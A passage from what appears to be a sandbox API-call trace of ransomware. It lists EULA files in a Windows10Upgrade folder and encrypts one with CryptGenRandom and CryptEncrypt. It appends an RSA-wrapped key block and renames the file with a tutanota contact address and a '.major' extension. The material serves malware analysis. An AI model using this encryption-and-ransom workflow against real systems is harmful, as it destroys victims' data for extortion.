cAlternateFileName="EULA_N~1.HTM")) returned 1 [0156.476] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7408 [0156.476] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7278 [0156.476] SetLastError (dwErrCode=0x5) [0156.476] GetLastError () returned 0x5 [0156.476] SetLastError (dwErrCode=0x5) [0156.476] GetLastError () returned 0x5 [0156.476] SetLastError (dwErrCode=0x5) [0156.476] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccad0 [0156.476] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x653b38 [0156.476] FindNextFileW (in: hFindFile=0x631680, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3fe3b1, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3fe3b1, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x10698, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="EULA_nl-nl.htm", cAlternateFileName="EULA_N~2.HTM")) returned 1 [0156.476] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0156.476] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6c18 [0156.476] SetLastError (dwErrCode=0x5) [0156.476] GetLastError () returned 0x5 [0156.476] SetLastError (dwErrCode=0x5) [0156.476] GetLastError () returned 0x5 [0156.476] SetLastError (dwErrCode=0x5) [0156.476] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0156.476] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x653bb0 [0156.476] FindNextFileW (in: hFindFile=0x631680, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3ff747, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3ff747, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x13f94, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="EULA_pl-pl.htm", cAlternateFileName="EULA_P~1.HTM")) returned 1 [0156.476] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7690 [0156.476] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7410 [0156.476] SetLastError (dwErrCode=0x5) [0156.476] GetLastError () returned 0x5 [0156.476] SetLastError (dwErrCode=0x5) [0156.476] GetLastError () returned 0x5 [0156.476] SetLastError (dwErrCode=0x5) [0156.476] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0156.476] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x654060 [0156.476] FindNextFileW (in: hFindFile=0x631680, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea400ac7, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea400ac7, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x10ac4, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="EULA_pt-br.htm", cAlternateFileName="EULA_P~2.HTM")) returned 1 [0156.477] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c71c8 [0156.477] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0156.477] SetLastError (dwErrCode=0x5) [0156.477] GetLastError () returned 0x5 [0156.477] SetLastError (dwErrCode=0x5) [0156.477] GetLastError () returned 0x5 [0156.477] SetLastError (dwErrCode=0x5) [0156.477] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccad0 [0156.477] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x653a48 [0156.477] FindNextFileW (in: hFindFile=0x631680, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea401e7f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea401e7f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x1158e, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="EULA_pt-pt.htm", cAlternateFileName="EULA_P~3.HTM")) returned 1 [0156.477] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0156.477] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b79e8 [0156.477] SetLastError (dwErrCode=0x5) [0156.477] GetLastError () returned 0x5 [0156.477] SetLastError (dwErrCode=0x5) [0156.477] GetLastError () returned 0x5 [0156.477] SetLastError (dwErrCode=0x5) [0156.477] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0156.477] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x6541c8 [0156.477] FindNextFileW (in: hFindFile=0x631680, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5c6190, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5c6190, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x13160, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="EULA_ro-ro.htm", cAlternateFileName="EULA_R~1.HTM")) returned 1 [0156.477] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c73c0 [0156.477] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6c18 [0156.477] SetLastError (dwErrCode=0x5) [0156.477] GetLastError () returned 0x5 [0156.477] SetLastError (dwErrCode=0x5) [0156.477] GetLastError () returned 0x5 [0156.477] SetLastError (dwErrCode=0x5) [0156.477] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0156.477] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x654420 [0156.477] FindNextFileW (in: hFindFile=0x631680, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5cfdc2, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5cfdc2, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x454cc, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="EULA_ru-ru.htm", cAlternateFileName="EULA_R~2.HTM")) returned 1 [0156.477] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7258 [0156.478] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7168 [0156.478] SetLastError (dwErrCode=0x5) [0156.478] GetLastError () returned 0x5 [0156.478] SetLastError (dwErrCode=0x5) [0156.478] GetLastError () returned 0x5 [0156.478] SetLastError (dwErrCode=0x5) [0156.478] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0156.478] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x654498 [0156.478] FindNextFileW (in: hFindFile=0x631680, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5cfdc2, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5cfdc2, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x14021, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="EULA_sk-sk.htm", cAlternateFileName="EULA_S~1.HTM")) returned 1 [0156.478] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7180 [0156.478] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7410 [0156.478] SetLastError (dwErrCode=0x5) [0156.478] GetLastError () returned 0x5 [0156.478] SetLastError (dwErrCode=0x5) [0156.478] GetLastError () returned 0x5 [0156.478] SetLastError (dwErrCode=0x5) [0156.478] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc850 [0156.478] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x654600 [0156.478] FindNextFileW (in: hFindFile=0x631680, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5cfdc2, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5cfdc2, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x1026f, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="EULA_sl-si.htm", cAlternateFileName="EULA_S~2.HTM")) returned 1 [0156.478] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0156.478] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0156.478] SetLastError (dwErrCode=0x5) [0156.478] GetLastError () returned 0x5 [0156.478] SetLastError (dwErrCode=0x5) [0156.478] GetLastError () returned 0x5 [0156.478] SetLastError (dwErrCode=0x5) [0156.478] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0156.478] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x653d18 [0156.478] FindNextFileW (in: hFindFile=0x631680, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5e364e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5e364e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x12720, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="EULA_sr-latn-cs.htm", cAlternateFileName="EULA_S~3.HTM")) returned 1 [0156.478] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0156.479] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b08 [0156.479] SetLastError (dwErrCode=0x5) [0156.479] GetLastError () returned 0x5 [0156.479] SetLastError (dwErrCode=0x5) [0156.479] GetLastError () returned 0x5 [0156.479] SetLastError (dwErrCode=0x5) [0156.479] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0156.479] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x654510 [0156.479] FindNextFileW (in: hFindFile=0x631680, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5e364e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5e364e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x112f7, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="EULA_sv-se.htm", cAlternateFileName="EULA_S~4.HTM")) returned 1 [0156.479] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0156.479] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b79e8 [0156.479] SetLastError (dwErrCode=0x5) [0156.479] GetLastError () returned 0x5 [0156.479] SetLastError (dwErrCode=0x5) [0156.479] GetLastError () returned 0x5 [0156.479] SetLastError (dwErrCode=0x5) [0156.479] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0156.479] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x653fe8 [0156.479] FindNextFileW (in: hFindFile=0x631680, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5e364e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5e364e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x3e0c1, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="EULA_th-th.htm", cAlternateFileName="EULA_T~1.HTM")) returned 1 [0156.479] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0156.479] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0156.479] SetLastError (dwErrCode=0x5) [0156.479] GetLastError () returned 0x5 [0156.479] SetLastError (dwErrCode=0x5) [0156.479] GetLastError () returned 0x5 [0156.479] SetLastError (dwErrCode=0x5) [0156.479] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc8c8 [0156.480] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x654240 [0156.480] FindNextFileW (in: hFindFile=0x631680, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5ed27d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5ed27d, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x12581, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="EULA_tr-tr.htm", cAlternateFileName="EULA_T~2.HTM")) returned 1 [0156.480] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7690 [0156.480] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7960 [0156.480] SetLastError (dwErrCode=0x5) [0156.480] GetLastError () returned 0x5 [0156.480] SetLastError (dwErrCode=0x5) [0156.480] GetLastError () returned 0x5 [0156.480] SetLastError (dwErrCode=0x5) [0156.480] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0156.480] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x654678 [0156.480] FindNextFileW (in: hFindFile=0x631680, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5ed27d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5ed27d, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x411eb, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="EULA_uk-ua.htm", cAlternateFileName="EULA_U~1.HTM")) returned 1 [0156.480] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0156.480] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0156.480] SetLastError (dwErrCode=0x5) [0156.480] GetLastError () returned 0x5 [0156.480] SetLastError (dwErrCode=0x5) [0156.480] GetLastError () returned 0x5 [0156.480] SetLastError (dwErrCode=0x5) [0156.480] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0156.480] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x653ac0 [0156.480] FindNextFileW (in: hFindFile=0x631680, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5ed27d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5ed27d, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x1ed21, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="EULA_zh-cn.htm", cAlternateFileName="EULA_Z~1.HTM")) returned 1 [0156.480] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7498 [0156.480] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0156.480] SetLastError (dwErrCode=0x5) [0156.480] GetLastError () returned 0x5 [0156.480] SetLastError (dwErrCode=0x5) [0156.481] GetLastError () returned 0x5 [0156.481] SetLastError (dwErrCode=0x5) [0156.481] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccad0 [0156.481] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x6546f0 [0156.481] FindNextFileW (in: hFindFile=0x631680, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5f6eb5, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5f6eb5, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x23ec4, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="EULA_zh-hk.htm", cAlternateFileName="EULA_Z~2.HTM")) returned 1 [0156.481] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7498 [0156.481] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7410 [0156.481] SetLastError (dwErrCode=0x5) [0156.481] GetLastError () returned 0x5 [0156.481] SetLastError (dwErrCode=0x5) [0156.481] GetLastError () returned 0x5 [0156.481] SetLastError (dwErrCode=0x5) [0156.481] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0156.481] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x654768 [0156.481] FindNextFileW (in: hFindFile=0x631680, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5f6eb5, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5f6eb5, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x23ec4, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="EULA_zh-tw.htm", cAlternateFileName="EULA_Z~3.HTM")) returned 1 [0156.481] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7258 [0156.481] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0156.481] SetLastError (dwErrCode=0x5) [0156.481] GetLastError () returned 0x5 [0156.481] SetLastError (dwErrCode=0x5) [0156.481] GetLastError () returned 0x5 [0156.481] SetLastError (dwErrCode=0x5) [0156.481] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc8a0 [0156.481] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x654330 [0156.481] FindNextFileW (in: hFindFile=0x631680, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1945e7d9, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1945e7d9, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1945e7d9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0156.481] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c75b8 [0156.481] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7278 [0156.482] SetLastError (dwErrCode=0x5) [0156.482] GetLastError () returned 0x5 [0156.482] SetLastError (dwErrCode=0x5) [0156.482] GetLastError () returned 0x5 [0156.482] SetLastError (dwErrCode=0x5) [0156.482] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccbe8 [0156.482] FindNextFileW (in: hFindFile=0x631680, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1945e7d9, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1945e7d9, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1945e7d9, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0156.482] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x6538e0 [0156.482] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccbe8 [0156.482] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0156.482] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-tw.htm", dwFileAttributes=0x80) returned 1 [0156.483] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x6547e0 [0156.483] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0ca0 [0156.483] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-tw.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_zh-tw.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e8 [0156.483] GetFileSizeEx (in: hFile=0x6e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=147140) returned 1 [0156.484] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x23ec4) returned 0x2e60f28 [0156.484] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x23ec4) returned 0x2e84df8 [0156.484] ReadFile (in: hFile=0x6e8, lpBuffer=0x2e60f28, nNumberOfBytesToRead=0x23ec4, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e60f28*, lpNumberOfBytesRead=0x2e3f9b4*=0x23ec4, lpOverlapped=0x0) returned 1 [0156.577] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=-147140, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.577] WriteFile (in: hFile=0x6e8, lpBuffer=0x2e84df8*, nNumberOfBytesToWrite=0x23ec4, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e84df8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x23ec4, lpOverlapped=0x0) returned 1 [0156.578] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x23ec4 [0156.578] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.578] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.578] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0156.578] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0156.579] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0156.579] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0156.579] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="Set1OTggm00hqROGfFBVeBvHuIUEIdijEcXj4hUlGOr/4ndHyvDswlDAcbf6Ibgh\ng2xxVcnn/EnuXglySBJRwnbntQ+jKdy7B0RMj+AlSJp07ij5mYsbk1UFPu/DlKw+\nE41I0mUY3HpLStD5Foq4VDOZNnQq9mfv5j8slhc+5FLW67VthehRbAoAW5Who46B\nxr7nXIPzKB+buyyuWl6PqcZ5yWkWgsfKzECOLRhlGftMau8Dyj3TkXMt0Q8FxvHq\n+tS4uN7bYN0Fv7CarGqOZoL3rcSveu/YeNieAdirtGnGJO8Lm+ETZyB78gejL9gJ\nlOhISGfgIt2CVwTJNxQlsw==\n", pcchString=0x2e3f9a8) returned 1 [0156.579] WriteFile (in: hFile=0x6e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0156.580] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.580] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.580] CloseHandle (hObject=0x6e8) returned 1 [0156.580] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0156.580] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-tw.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_zh-tw.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-tw.htm.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_zh-tw.htm.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0156.585] HeapFree (in: hHeap=0x570000, 